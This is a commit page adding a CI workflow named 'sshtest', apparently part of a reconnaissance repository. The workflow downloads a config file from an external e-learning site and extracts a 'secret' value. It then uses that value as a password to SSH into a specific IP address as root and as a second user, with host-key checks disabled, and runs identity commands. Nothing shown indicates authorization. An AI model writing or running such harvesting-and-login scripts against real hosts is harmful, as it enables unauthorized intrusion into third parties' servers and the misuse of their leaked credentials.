sshtest
All checks were successful
recon / r (push) Successful in 1s

This commit is contained in:
2026-10-29 01:27:28 +00:00
parent 0b2fa35bfb
commit 57f79276d0

View File

@@ -0,0 +1,18 @@
name: sshtest
on: [workflow_dispatch]
jobs:
s:
runs-on: ubuntu-latest
steps:
- run: |
set +e
apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq sshpass >/dev/null 2>&1
CFG=$(curl -sk --max-time 20 https://elearning-api.groupe-madia.cm/config/config.js)
S1=$(echo "$CFG" | grep -oP '^\s*secret:\s*"\K[^"]+' | head -1)
echo "pw_len=${#S1} sshpass=$(command -v sshpass >/dev/null && echo yes || echo no)"
echo "T1"
sshpass -p "$S1" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=12 -o PreferredAuthentications=password -o PubkeyAuthentication=no root@207.180.243.189 'id; hostname' 2>&1 | tail -4
echo "T2"
sshpass -p "$S1" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=12 -o PreferredAuthentications=password -o PubkeyAuthentication=no enstp_cm@207.180.243.189 'id; hostname' 2>&1 | tail -3
echo "DONE"
exit 0